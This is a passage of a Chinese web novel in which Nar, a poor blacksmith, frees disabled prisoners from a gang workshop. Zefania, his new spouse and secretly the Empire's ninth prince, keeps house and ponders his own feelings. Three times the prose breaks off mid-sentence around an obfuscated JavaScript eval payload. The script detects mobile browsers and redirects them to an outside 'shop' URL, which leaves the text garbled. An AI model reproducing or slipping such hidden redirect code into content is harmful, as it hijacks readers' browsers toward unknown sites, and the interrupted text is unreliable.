他怎么忘了,他的卧室还没收拾。 “等一下!” 雄虫突然叫住了他。 则法尼亚的手已悬在门把上方,闻声回头:“雄主,怎么了?” “呃。”纳尔一时语塞,总不能直说“房间太乱,你先别进去”吧。 然而,纳尔还未来得及编出什么像样的理由,则法尼亚却已体贴地接过了话头: “是房间还没整理好吗?”他目光扫过虽已大致收拾、却仍显凌乱的客厅,心里明白了什么。 “……嗯。”纳尔没想到他会主动递来台阶。 “既然如此,”则法尼亚略作沉吟,“雄主为我订的那间房还未退,不如——我们今晚先去那边暂住?” 他的提议合情合理,纳尔松了口气:“好。” 然而到了旅馆,现实才清晰地摆在眼前。 纳尔订的是最便宜的单间,只有一张床。 此时已是深夜,附近旅店早已客满。两张疲惫的面孔在狭窄的房门外对望片刻,最终沉默地达成了共识—— 今晚,只能挤一挤了。 纳尔用余光悄悄打量则法尼亚。对方神色如常,仿佛这不过是再自然不过的安排。 也是,纳尔暗自摇头,无论如何,他们如今已为伴侣,自己也没必要再矫情。 可躺下前,他还是忍不住确认:“今晚,我们一起睡?” “当然。”白发雌虫已经解开外衫,闻言抬眸,唇角弯起一抹极淡的弧度,“今夜,可是我们的新婚之夜。” 他说得坦然,动作也利落。不过几下,外衣便被整齐搭在椅背,他掀开被子躺了进去,只留下一个安静侧卧的背影。 纳尔见状,最后那点局促也随之消散。 他确实累极了,体力的透支与疼痛的余韵,让倦意彻底将他淹没。 他轻手轻脚地躺到床的另一侧,隔着一段距离,低声说了一句: “晚安。” 几乎话音落下的瞬间,均匀的呼吸声便传来。 则法尼亚在黑暗中缓缓睁开眼,听着身旁迅速沉入睡眠的平稳呼吸。 良久,他低叹了一声,也闭上了眼睛。 早上纳尔醒来时,则法尼亚已经醒了,正靠在床头望着窗外走神。 纳尔适时地动了动,弄出些细碎声响。 “醒了,雄主?”则法尼亚立刻转过头,脸上又挂起那副温和的笑。 “嗯。”纳尔从被子里露出一双眼睛,点了点头。 “我去楼下买早餐?” “不用。”纳尔坐起身,“一起吧,我们顺便回家。” “好,那先去退房。” 退房手续简单,则法尼亚在旅馆门口等了一会儿,纳尔便提着那个旧布袋出来了。 两虫在街边买了热罐头当作早餐,一边吃一边往家的方向走。 走到半途,纳尔脚步忽然一顿,不着痕迹地往后瞥了一眼。 “怎么了?”则法尼亚问。 “没什么。”纳尔摇头,继续往前走。方才那一瞬,他确实感觉到有视线落在背上。 那不是错觉。 但这事没必要让则法尼亚知道。 回到家,纳尔拎起昨夜打好的几件铁器,对则法尼亚简单交代了句后,便匆匆出了门。 门关上不到十分钟。 则法尼亚脸上惯常的温和神情瞬间褪去。他走到巷口,对着空无一虫的墙角冷声道: “出来。” 没有回应。 “我知道你在。”他的声音又低了几度。 静默片刻后,阴影里终于走出一个紫发雌虫,军装笔挺。 “殿下。”他低头行礼。 “路法索,”则法尼亚扫过他身后,“你还是来了。” “属下必须确认您的安全。”路法索抬起头,眼中压着不解与焦灼,“殿下,我还是不理解,您为何要与一个E级雄虫结婚?” “我自有考量。” “可您瞒不了多久。若是虫皇陛下察觉……” 则法尼亚沉默了片刻。 “那就离婚。”他说得轻描淡写。 路法索瞳孔一缩:“殿下?!” “不必多说,回去吧。” “……是。” 路法索转身欲走,则法尼亚却又叫住他。 “等等。” “殿下请吩咐。” “借我些星币。” 路法索愣住:“啊?” “我的星卡一旦动用,雌父立刻会收到定位。”则法尼亚面不改色,“给我纸币。” 路法索嘴角抽了抽,最终还是从内袋摸出一只皮夹,抽出厚厚一叠递过去。 “多谢。”则法尼亚接过纸笔,干脆道:“你可以走了。” * 纳尔按着信息上的地址,背着那三把铁锄,一路走进了F街区深处。 订单来自一个叫“利利法”的雌虫,三个月前付了订金后就再无音讯。 邻居提过一句“利利法腿脚不好,性子又闷,怕是都不敢催你”,纳尔想了想,还是决定主动送来。 越往前走,景象越荒凉。 穿过城中区尚算齐整的居民楼后,眼前像是陡然褪了色。 断裂的悬浮车道、锈蚀的街灯、空气中那股廉价能量块燃烧后的呛鼻气味。 虽然知道这是个偏远落后的星球,但亲眼见到这样的贫民区,纳尔还是心头一沉。 他在一排用废弃铁皮和回收建材拼凑的窝棚前停住。门牌早已模糊,但他认出了订单附言里提到的标记:门口应挂着一串兽牙风铃。 风铃还在,却已被砸坏。兽牙散落一地,混在泥污里。 纳尔皱了皱眉,抬手敲响那扇歪斜的铁皮门。 没有回应。 他正要再敲,旁边一扇矮门“吱呀”开了条缝。 一双警惕的眼睛在阴影里打量他,是个瘦得颧骨凸起的小雌虫,年纪看上去不过虫类孩童八九岁模样。 “找谁?”声音干哑。 “我找住这里的虫,他订了铁器。”纳尔放下布袋,露出铁锄一角。 小雌虫眼睛亮了一瞬,又迅速暗下去:“瘸腿爷爷……不在了。” “不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132575|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” “被‘铁虫帮’带走了。”小雌虫压低声音,手指向窝棚区深处一栋相对完整的二层旧楼,“上个月,爷爷交不出保护费。他们说爷爷手艺还行,抓去地下作坊干活抵债。” 纳尔沉默了几秒:“只抓了他一个?” “很多。”小雌虫用力摇头,眼里涌出恐惧,“他们说是去‘干活’,可、可从来没见谁回来过。” “外面怎么不知道?” “不让说。”小雌虫声音发颤,“谁敢往外传,就割舌头。” 纳尔眉头拧紧。 就在这时,远处那栋旧楼的门开了。 一个穿着破旧工装、走路一瘸一拐的老雌虫被推搡出来,踉跄摔进泥地。推他的壮汉骂咧咧扔出半块硬面饼: “磨蹭什么!明天再这么慢,饿死你!” 老雌虫颤抖着爬向那半块饼。 纳尔看清了他的脸——正是订单资料里那张模糊照片上的虫。 然而,就在利利法快够着那块饼时,身后的那个壮雌虫突然伸手拽住了他的头发,猛地往门内拖去。 一道凄厉的叫声随后传来。 纳尔没再说话,脸色暗了下来,拎起布袋朝那栋楼走去。 “你、你去哪儿?”小雌虫在身后急问。 “送货。” 纳尔的“送货”方式很直接,他径直冲到了那旧楼门口。 “你是谁?干什么?” 一个守门的壮汉雌虫伸手去拦他,纳尔二话不说,一把握住对方手腕向下猛压。 雄虫的动作快得几乎看不清,只能听见一声骨骼错位的脆响。 “你在做什么!” 第二个壮汉见状扑来,纳尔侧身,布袋顺势抡起。三把铁锄加上布袋自重,结结实实砸在对方侧腹。那虫连挨几下,蜷缩着瘫倒。 纳尔一脚将他们踹到一边,来到大门前。 门是内锁的。纳尔后退半步,骤然前冲,肩背发力撞向门板。 “砰!” “砰!” “砰!” 没有技巧,没有花招。 只有最纯粹的力量。 不过一分钟,门框连带半面砖墙在巨响中崩塌。 “砰——!” 烟尘四起,纳尔踏着碎石走进室内。 这是个被改造成简陋作坊的空间,十几个瘦骨嶙峋的雌虫蹲在破烂设备前,手脚拴着铁链。 见破门而入的纳尔,他们眼中竟只有惊恐,无虫出声。 “外面怎么回事?” “谁在闹事?” 五个监工模样的雌虫从里间冲出,手里提着普通的电击棍和砍刀。 纳尔扫过他们手中的武器,仅仅犹豫了三秒就迎了上去。 这场战斗持续不到三分钟。 纳尔动作简单得惊虫,只有最基础的格挡、擒拿、重击。每一次攻击都伴着骨骼闷响或惨叫,他却连呼吸都没乱。 他虽未下死手,但每个被他放倒的虫,短时间都别想再站起来。 混乱声不断传来,藏在组织最后的那位雌虫终于忍不住走了出来。 纳尔冷脸看向他。 那虫身高约摸两米,右臂被改装成了铁质的机械。他看着满地呻吟的手下,又看向眼前那位瘦弱不已的……雄虫。 “竟然是雄虫?” 他像是看到了什么新奇玩意。 “虽然你是雄虫,但看在你本事不错的份上。只要你加入我们,条件随你开。” 纳尔没有理会他的话,一步步向他走去,声音是从未有过的冰冷: “去死。” 感受到迎面而来的威胁,头目眼神一狠,面色狰狞地冲去,机械爪直抓纳尔面门! 纳尔不躲不闪,左手抬起,一把攥住抓来的机械爪。 刺耳的金属扭曲声中,机械爪的指节在他掌心里一点点弯折、变形。 那雌虫脸上的狰狞彻底化为恐惧: “你……你到底是什么怪物!” “我只是——”纳尔松开手,一拳砸在他腹部,“打铁的。” 5. 煮饭 那头目瘫倒在地,疼得蜷缩起身体,纳尔在他面前蹲下,伸手去取他腰间那串锁链的钥匙。 “别碰我!”铁臂雌虫猛地大吼,拖着身体往后缩,仿佛纳尔是什么可怖的怪物。 纳尔蹙眉看着他:“钥匙给我。” 头目瞪着他,胸口剧烈起伏,最终还是扯下钥匙串,狠狠扔在地上。 雄虫捡起钥匙,转身抛给最近一个呆立着的被囚雌虫,那虫缺了半只耳朵,左腿不自然地弯曲着。 纳尔这才注意到,这里的囚徒大多身有残疾。 “自己打开。能走的互相搀扶,不能走的等一等。” 他在作坊角落找到了利利法。老虫刚挨过打,浑身淤青,还没来得及上镣铐,只瘫在地上微弱地喘息。 纳尔将他扶起,从柜子上拿来那半块被扔下的硬面饼,塞进他颤抖的手中。 “你的铁锄。”纳尔又从布袋里取出那三把铁锄,放在他怀里,“我做好了。” 利利法低头看着怀中沉甸甸的铁器,又抬眼望了望满地呻吟的监工,浑浊的眼眶里滚出大颗的泪。他挣扎着想跪,被纳尔稳稳托住。 “走吧,”纳尔说,“回家吃饭。” 虫群相互搀扶着,沉默地离开了这栋建筑。 纳尔最后扫视这阴暗的作坊。 破烂的设备、劣质的原料、角落里堆积的粗劣零件,大多是用来拼凑走私机甲或黑市武器的边角料。 这些监工也不过是底层里稍强壮些的恶棍,靠着吸更弱者的血苟活。 离开前,纳尔用散落的铁链将他们捆在一起。那个被他捏断机械爪的头目喘着粗气,忽然开口: “你以为我们想这样?” 纳尔动作一顿。 “这颗星球早就废了!年轻力壮的都往外跑,上面却要我们用最差的原料造机甲零件,怎么可能做得到!” “这和你胁迫残疾弱虫有什么关系?”纳尔声音平静。 “……” “贫民区里身体完好的,除了没长成的虫崽,早就没了。你们这些外来的,根本不懂,只会下死命令。” “我不是外来的,我住在七十星区,E街。”纳尔说。 按照帝国规定,每个星区的街区按A到F分级,生活水平逐级下降。 E街,已是倒数第二等。 头目愣了愣,哑口无言。 “你们上头是谁?”纳尔问。 那雌虫像是想起了什么万分可恶的虫,咬牙切齿道:“和你一样没用的雄虫!” “我没用?”纳尔脸上的表情明显一滞,随后直勾勾地看着他。 在雄虫的注视下,那雌虫感觉自己身上的伤口又开始隐隐作痛,啐了一口就别过脸去。 “……” 纳尔看着这群被捆在一起的虫,沉默了片刻。某种遥远而熟悉的疲惫感,缓缓漫上心头。 回忆如流沙掠过指缝。 不是这具身体的记忆,而是他自己,在另一个世界也曾见过的,相似的绝望。 他垂眸静立数秒,转身离开。 走出建筑时,那个小雌虫还缩在原来的角落,睁大眼睛望着他。 “都……结束了吗?”小雌虫小声问。 “嗯。”纳尔说,“但他们可能还会回来。” 小雌虫低下头,用脚尖碾着地上的碎石:“我知道……你走了,一切又会变回老样子。这里一直是这样。” 纳尔沉默。他环顾四周。破损的窝棚、污浊的水坑、从窗后投来的麻木目光。 他能放倒一群恶霸,却填不饱这些虫的肚子,修不好漏雨的屋顶,更改变不了这片区域被整个帝国遗忘的事实。 有时候,遗忘和慢性死亡没有什么区别。 “雄主?” 忽然,一道熟悉的声音从巷口传来。 纳尔回头,发现则法尼亚正站在那里,他换了身不起眼的灰布衣服,可挺直的脊背和干净的气息,依然与这破败的街道格格不入。 “你怎么来了?” “见您一直没回来,我问了隔壁的白因蓝阁下您去了哪儿。” 则法尼亚走近,目光扫过倒塌的门墙、地上被捆的雌虫,以及远处那些躲藏的身影,冰蓝色的眼底极快地掠过一丝难以捕捉的震动。 “我有些担心。” 先前,临近饭点时,则法尼亚依然没有等到纳尔回家,心里确实有些担心。 但……白发雌虫的目光再次掠过那扇被暴力撞塌、连着半面砖墙都崩碎的门。 有时,则法尼亚自己也不确定是不是该担心他。 这种纯粹的、碾压式的力量,绝不是一个E级雄虫该有的,也不像“他们”。 难道他之前的判断错了,那么,他到底是什么? “抱歉。” 见天色逐渐昏暗,纳尔这才惊觉自己已在外耽搁许久。他朝那小雌虫点点头:“我该回去了。有时间我会再来看你们。” 则法尼亚顺着他的目光看向那扇矮门,脸上没什么表情。 “好。”小雌虫怯怯点头,飞快地瞥了一眼纳尔身旁的白发雌虫,随即缩回门缝里。 那个虫的眼神,好冷。 “纳尔。” 两虫转身欲走时,身后传来一道苍老嘶哑的声音。 是利利法。 老雌虫颤巍巍地走过来,枯瘦的手里攥着几张皱巴巴的星币纸币,边缘已磨得发白。 “这是……铁锄的报酬。” 纳尔看着那几张旧钞,沉默片刻,摇了摇头: “不用了。三月前的订单,我拖到今日才交付,本该赔你违约金。” “那怎么行……” “这些钱你留着养伤。” “可是——” “真的不用。”纳尔后退一步,抓起则法尼亚的手就走。 “纳尔!”利利法在身后又唤了一声,“我会来看你的。” 纳尔脚步微顿,没有回头,只低声说: “我知道了。” * 回程路上,纳尔始终一语不发,一旁的则法尼亚盯着他沉默的侧脸,莫名觉得面前这只小雄虫似乎在难过。 为什么? 是因为…… 那只老雌虫吗? 直到回到家门前,纳尔仍有些恍惚。门是则法尼亚替他开的。 然而踏进屋内的一瞬,纳尔脚步顿住了。 他走错房间了? 这整洁得有些陌生的地方,真是他家? 曾经满地狼藉的衣物杂物被整理出来,玻璃与瓷砖被擦得明净透亮,原本散落在铁炉四周的铁块、废料,如今被分门别类、整齐堆叠在墙角。 空气里弥漫着淡淡的、让虫安宁的气味。阳台上晾晒的衣物在风中轻轻摆动。 这是怎么回事? 难道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132576|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是…… “则法尼亚……”纳尔僵硬地转向身旁的雌虫,“这些,都是你整理的?” “是啊。”则法尼亚眉眼弯起,那笑容里透着一丝罕见的、孩子气般的邀功意味: “雄主,我贤惠吗?” 纳尔完全愣住了。 他活了十几年,还是第一次被谁用这样的词问及。 他张了张嘴,半晌才呆呆地应道: “贤惠。” 纳尔心底那层沉重的郁气,似乎被这意外的“家”的气息冲开了一道裂口,他顿了顿,又诚心实意地补上一句: “辛苦你了。” “我的荣幸,雄主。” 则法尼亚微笑着将纳尔领到桌前,随即迈着轻快的步子走进厨房,不多时便端出一锅热气腾腾的蔬菜粥。 “雄主尝尝,这是我亲手做的。” 见到粥时,纳尔着实惊了一下。 这个冰冷奇怪的虫族世界,竟然也有这样……属于“人”的烟火气。他原以为这个世界只有各种各样的罐头。 则法尼亚盛出两碗。两虫坐下,几乎同时舀起一勺送入口中。 “……” 则法尼亚握着勺子的手指几不可察地僵了一下。 这味道……怎么这么难吃。 他明明是按那几个下属七嘴八舌复述的步骤做的。 * 时间稍向前拨。 就在则法尼亚出门寻找纳尔之前,还发生了另一件事。 路法索被他赶走后,则法尼亚敏锐地察觉到房子周围仍有别的虫暗中潜伏。 则法尼亚耐心告罄。 他不动声色地将那几个藏匿者一一揪了出来。 “谁派你们来的?” 那几个虫身上还穿着皇室内务人员的制服,被则法尼亚冷冽的气势慑得发颤,几乎是争先恐后地坦白——他们来自帝国情报中心。 得知他们的身份后,则法尼亚没多问,只确认了一件事:“我的婚事,上报了没有?” 得到否定的答案后,他神色才稍稍好了些。 不知想到了什么,白发雌虫嘴角忽然勾起一抹极淡的、却让熟悉他的虫背脊发凉的弧度。 跟在最后头、眼睛一直亮晶晶盯着则法尼亚的年轻雌虫——正是之前在数据组拍桌嚎叫“九殿下看看我”的林莱心里顿时咯噔一下。 这个笑容他太熟悉了。每当殿下露出这种神情,就意味着……某个倒霉虫要遭殃了。 虫神在上,幸好他跟来了!殿下,请尽情使唤我们吧! “你们,”则法尼亚指尖轻点,“去楼上,把房间收拾干净。” 他顿了顿,补充道: “收拾完立刻滚回帝国。别让我说第二遍。” * 则法尼亚自幼在宫廷中长大,饮食起居皆有专虫打理,何曾尝过这般难以形容的味道。 虽然是他自己做的。 他不动声色地停下,看向对面的纳尔。 小雄虫只是垂着眼,一口,接着一口,安静地吃着。他似乎很饿,又或者……心思根本不在味道上。 那侧颜在灯光下,竟显出几分罕见的、他从未见过的沉默与孤独。 “雄主,”则法尼亚放下勺子,冰蓝色的眼睛直视纳尔,那里面的温和笑意淡去,只剩下平静的探究。 “您今天……是在生气吗?为了那些F区的雌虫?” 6. 秘密 纳尔反应了几秒,才意识到则法尼亚问的是今天早上的事。 “不算生气。”他终于开口,声音有些沙哑,“只是觉得……很吵。” “吵?”则法尼亚没想到会听到这样的答案。 “嗯。”纳尔看着粥面,“那些求救的声音,还有我脑子里的声音都很吵。” 脑子里的声音,那是什么? 则法尼亚虽心存疑惑,面上却不显,不动声色问道: “那……您能和我聊聊今天发生在F区的事情吗?” 听罢,纳尔放下碗筷,用平淡的口吻简单叙述了经过。 然而,当纳尔说到“铁虫帮长期欺压,却无虫治理”时,则法尼亚的神情转为明显的不解。 “这里……竟没有街区治安局?没有星区援助机构?”他的语气里带着某种属于上位者的、近乎天真的理所当然。 “帝国在边缘星域都设有专项补助基金,星域政府每年都会让富虫组织——” 他的话音戛然而止。 因为他看见纳尔转过头,用一种他从未见过的眼神望着他。 那不是责备,不是愤怒,而是一种难以形容的复杂情绪。 “则法尼亚,”纳尔的声音响起,“难道……你也从没见过真正饿肚子的虫吗?” 其实,纳尔一直以为,他们的处境大抵相似。 可此刻他才猛然想起,则法尼亚是刚刚才被“遗弃”的雌虫,即便如此,他仍能随手拿出一万星币。 过去的他,或许一直生活在与他截然不同的世界里。 纳尔不知想到了什么,声音里透出一丝沉闷: “那些拨款,那些报告,”纳尔看向他,“要经过层层审批,被一层层刮走,最后落到这里的,也许只够买几箱临期的罐头。而且——” 他停顿了一下,垂下眼睫: “而且,大多数有钱有势的虫,根本不会往这种地方多看一眼。他们嫌脏,嫌臭,嫌麻烦。真正会伸出手的,往往只有那些同样在泥泞里挣扎的虫。” 纳尔说完,忽然意识到自己好像说得太多,猛地闭上了嘴,拿起勺子舀了一口粥送进嘴里,试图用动作掩盖方才的失言。 其实他根本不想说这些,更不该在别的虫面前说。 可今天所见的一切,硬生生撕开了某种尘封的记忆——那份属于他自己的、来自另一个世界的痛楚。 原来无论在哪个世界,苦痛从未真正消失。 话音落下,房间陷入长久的寂静。 则法尼亚坐在原地,久久未能回神。 他二十年的岁月都在帝国的奢侈中度过。他知道有贫民区,知道有腐败,知道拨款会有损耗。 可那都是报告上的数字,是会议上讨论的议题,是别的部门该负责的问题。 作为皇子,他从未站在这里,站在真正的世界之上,亲眼看见背后的黑暗。 在虫族皇室活了二十年,他都快忘了,每个虫眼中的世界,原来如此不同。 他甚至快忘了, 自己曾经也是人类。 有些事情,他是清楚的。 “我很抱歉,雄主。”则法尼亚听见自己的声音有些发干。 “不,”纳尔听见他道歉,连忙摇头,“是我多嘴了。” “不。”则法尼亚忽然伸手,轻轻握住了纳尔放在桌沿的手。 “我们都没有错。” 他低声说,像是在自我肯定。 “不是吗?” 则法尼亚望向窗外,眼前的景象在他眼里烙下痕迹。 一个念头,在他心底清晰成形: 我要改变这里。 不仅以他帝国九殿下的身份,更是以一位曾经生为人类的同理心。 * 沉重的话题被两虫默契地搁在了一旁。午餐后,纳尔与则法尼亚简单打过招呼,便又背起布袋出了门。 一下午的送货,让他几乎认全了这片街区的邻居。 原本担心自己会因言行差异露馅,可那些虫的热情实在太过汹涌,根本不给他多说的机会,便塞来各种自家腌的小菜、晒的果干,或是拍着他的肩念叨“小纳终于肯出门走动了”。 纳尔只能闷头接过,客气地道谢,然后匆匆离开。 唯一让他头疼的是,有好几位雌虫邻居硬要将自家半大的虫崽推到他面前,话里话外都是“这孩子勤快听话,给您做个雌侍也好”。 纳尔一一婉拒了。 傍晚时分,他背着空布袋回到家,看着账户里刚入账的、辛苦完成数个订单才挣来的三百星币,陷入了沉默。 他真的能靠这个养活自己,甚至……再加上一只虫吗? 推开门时,厨房里正传来细碎的动静。则法尼亚背对着他站在灶台前,身上还是那件灰布衣服,腰间系着用旧布条简单缠成的围裙,正低头对着锅里咕嘟冒泡的东西小声嘀咕着什么。 纳尔低头看了眼自己身上同样简陋的衣裤。 他记得初见时,则法尼亚穿着整洁的白衬衫,袖口一丝不苟,带着种与生俱来的气质。 才不过一天,那身光鲜便隐没在这片灰扑扑的日常里。 orz 他这个雄主,当得实在是有些失败。 “则法尼亚……”纳尔放轻脚步走近,话未说完,却被对方不自觉溢出的低语打断: “虫屎!这尝起来为什么会是酸的?” “……” 纳尔顿住脚步,突然觉得此刻或许不该打扰他的雌君。他正想悄声退开,则法尼亚却似有所觉,忽然转过身来。 “雄主?你回来了?” 看清是他,则法尼亚眼底掠过一丝慌乱,下意识侧身挡了挡灶台上的锅。 纳尔诚实地点点头:“嗯。” 对话到此戛然而止。 两虫的视线在空中无声交汇,却谁都没有再开口。一个尴尬得耳根发热,一个不知该说什么才好。 “那个……”最终还是则法尼亚先打破沉默,声音里带着难得的窘迫,“雄主,我不小心……放错了佐料。今晚的晚餐,味道可能有些奇怪。” “没关系。”纳尔摇摇头,“我们可以吃罐头。” “抱歉,”则法尼亚低声说,“浪费粮食了。” 明明中午还做着拯救苍生的美梦,此刻竟然连一锅粥都保不住。 orz 他这个皇子,当得实在是有些失败。 “真的没关系……对了,则法尼亚,”纳尔像是想起了什么,却又顿了顿,似乎在斟酌用词,“晚饭后,我带你去一趟商场吧。” “商场?”则法尼亚抬眼,“去做什么?” “买衣服。”纳尔看了看他身上那件明显不合身、甚至洗得有些发硬的属于自己的灰布衣服,“买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132577|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几件穿着舒服的。” …… 贵为皇子的则法尼亚其实对衣物很是挑剔,因为呈到他面前的,从来都是皇室织物局送来的、用最顶级面料与工艺制成的服饰。 按常理,他本该看不上这种边缘星球商场里售卖的、质地粗糙的成衣。 可奇怪的是,他偏偏很喜欢。 喜欢纳尔递过衣服时那句简单的“试试合不合身”。 “雄主,您不买吗?”看着手里单一件的衣服,则法尼亚忍不住问道。 纳尔摇摇头,“家里还有。” 哎呀~ 则法尼亚眉眼弯起。 这只可爱单纯的小雄虫是打算只给他买吗? 那他肯定是……不允许的。 则法尼亚把那身衣服又还给了纳尔,真情实感道:“雄主不要,我也不要。” 虽然这句话听着令纳尔很感动,但他不给自己买衣服的原因只有一个——他没钱。 看着被塞回手里的那件衣服,纳尔悄悄瞥了一眼价格,松了口气。 还好,勉强能买两件一样的。 于是,在则法尼亚深情的目光下,纳尔又拿了一件一模一样的衣服去前台买单。 白发雌君静静站在门外等待,他们方才的对话被不少虫听去,此刻,不少并不友善的视线朝他投来。 几个年长的雌虫在一旁低声议论,说他“连给雄主置办体面衣衫的本事都没有,真是没用的雌君”。 啧。 但则法尼亚转念一想,他们说的……似乎也没错。 看来,得找个机会给自己“安排工作”了。 * 夜晚,黝黑的铁炉再次被赤红点燃,火光将纳尔的侧脸映得明暗分明,汗珠顺着脖颈滑入衣领。 则法尼亚静静地看着这一幕,心中忽然掠过一丝陌生的波澜。 他曾经是厌恶雄虫的,深切地厌恶。 在这个雄尊雌卑的世界里,他见过太多雄虫的嘴脸:傲慢、自私、将雌虫的尊严与痛苦视为理所当然的玩物。 即便他贵为皇虫,也因那“先天不足”的精神力,曾被等级低于他的雄虫用精神威压肆意折辱。那些虫带着恶意的笑,要他“认清自己的位置”,甚至想将他作为战利品收纳。 若非雌父以命相护,他或许早已沦为某个贵族雄虫后院里,一件可以随意损坏的玩具。 雄虫这种存在,生来便被制度厚待。 即便是最低等的E级,在《雄虫保护法》的庇护下,也能享有远胜于大多数雌虫的生活。 因此,当则法尼亚最初在这颗边缘星球发现纳尔是雄虫时,他确实感到了意外。 纳尔的外表太具欺骗性了,即使他长相出众,但他实在太过苍白、沉默、衣着简陋,混迹在贫民窟里,与那些挣扎求生的低级亚雌毫无二致。 若不是系统提示,他或许真的会错认。 可他至今想不明白:纳尔为何会选择留在这里?这颗被帝国遗忘的星球上,有什么值得他忍受贫瘠与孤独? 更让他不解的是纳尔为何至今仍未察觉,自己娶的“雌君”根本就不对? 思绪至此,则法尼亚忽然意识到,他也同样不明白自己。 当初,为何就那么轻易地……嫁了? 难道…… 则法尼亚脑中浮现一个荒唐的想法。 他动心了? 7. 暖床 不、不可能。 则法尼亚即刻摇了摇头,将这荒谬的念头甩开。 他和这小雄虫才认识几天,就算是因为怀疑他曾经是和他一样的人类,心生归宿感,也不可能就此对他动了情。 对,就是这样的。 他才没有动心。 他不能对这样的雄虫动心。 “则法尼亚。” 纳尔的声音忽然响起,将他从纷乱的思绪中拉回。 “嗯?”则法尼亚下意识抬眼。 纳尔的目光从烧得通红的铁炉上移开,转向他,很自然地伸出手:“你的剑,可以给我了。” “剑?”则法尼亚只犹豫了一瞬,便从贴身空间钮中取出那柄银白的长剑,双手递上。 纳尔接过,指腹抚过剑身上那道狰狞的裂口,仔细观察了那道裂口后,他打算在豁口处熔铸补材,仔细锻接。 于是他将剑身置于砧台,举锤,对准裂缝的边缘。 “铛!” 房间传出一声清越的锤音。 紧接着,是一道清晰的、某种东西断裂的脆响声。 那柄跟随则法尼亚多年的佩剑,在纳尔一锤之下,自裂口处……断成了两截。 断了。 纳尔握着锤柄,愕然地看着砧台上分明两段的剑身,睁大了双眼。 则法尼亚也僵在原地,难以置信地望着眼前的一幕。 火光摇曳,映着两虫同样震惊的脸。 一片死寂。 “对、对不起。” 回神的瞬间,纳尔连忙开口道歉,随后手忙脚乱地将手里的罪魁祸首甩手丢开,整个虫的动作都有些发僵。 与此同时,站在他不远处的白发雌虫喉结轻轻滚动了一下。 他张了张口,却发现不知该说什么。 这柄剑自他握剑之初便陪伴着他,是雌父亲手找虫为他锻造的。 十几年了,随他上过训练场,陪他度过无数个独自挥剑的日夜,剑身上每一道修补的痕迹,都刻着一段记忆。 现在,它竟然……断了。 可奇怪的是,则法尼亚发现自己并没有预想中的愤怒或心痛。 看着眼前这只小雄虫吓得有些手足无措的模样,某种不合时宜的无奈,甚至是一丝极淡的……好笑,悄然压过了其他情绪。 纳尔紧张地观察着雌君的神色,咽了咽唾沫,目光下意识地飘向铁炉方向,却猛地顿住。 等等。 那断在砧台上的半截剑身,边缘处竟开始泛起不正常的红光,并且……正在缓慢熔化? ? 纳尔来不及细想,身体已先一步行动,他伸手就想去抓那半截逐渐软化的断剑。 一只微凉的手却更快地截住了他的手腕。 纳尔抬眸,撞进则法尼亚眼底。 雌虫脸上依然挂着那副一惯的温和笑容,看起来似乎并未生气。 “雄主,”则法尼亚似是不解问道,“您想做什么呢?” “你的剑。”纳尔看向那滩在高温下悄然熔化的金属液体,更加心虚了。 则法尼亚的视线也随之落去,眉头几不可察地蹙了一下。 这是雌父当年特意寻来的寒铁所铸,以坚韧著称,寻常炉火根本难以熔炼。 怎么会? 疑虑在心头一闪而过,但他转向纳尔时,面上已恢复如常。 “一柄旧剑罢了,哪有雄主您重要。”则法尼亚轻轻叹了口气,恰到好处地流露出几分惋惜与宽容,“它跟了我十几年,却连雄主一锤都受不住,只能说确实到了该退场的时候。只是可惜了雌父一片……” “我帮你重新打一柄。” 纳尔忽然开口,打断了他未尽的话语。 雌虫微微一怔,像是没料到他会这么说。 “如果你不介意的话。”纳尔补充道,语气认真。 则法尼亚眼底掠过一丝讶异,随即那讶异很快转化为明亮的、近乎惊喜的笑意。 “真的吗,雄主?” “嗯。”纳尔真诚地点头应道。 则法尼亚眼底笑意更深, “雄主对我可真好。”白发雌虫嘴角缓缓勾起一道漂亮的弧度。“那我在门外等着雄主。” 话落,纳尔抬眼看了眼时间,已经不早了,便直接开口让他先回房休息。 然而则法尼亚拒绝了。 “我想陪着您。” 拒绝无果,纳尔便应了下来。 …… 则法尼亚的那柄剑已经彻底化为一滩铁水,失去了原有的形状。幸好,纳尔清晰地记得它的轮廓。 比起寻常制式,则法尼亚的佩剑要特殊得多,纳尔心想,它对他而言,一定意义非凡。 那么,至少,该还他一柄一模一样的。 纳尔沉下心神,重新点燃炉火,挑选铁料、反复锻打、塑形淬火…… 整整两个半小时,他没有停过一次手。 直到则法尼亚的声音从身后传来: “雄主,夜深了。” 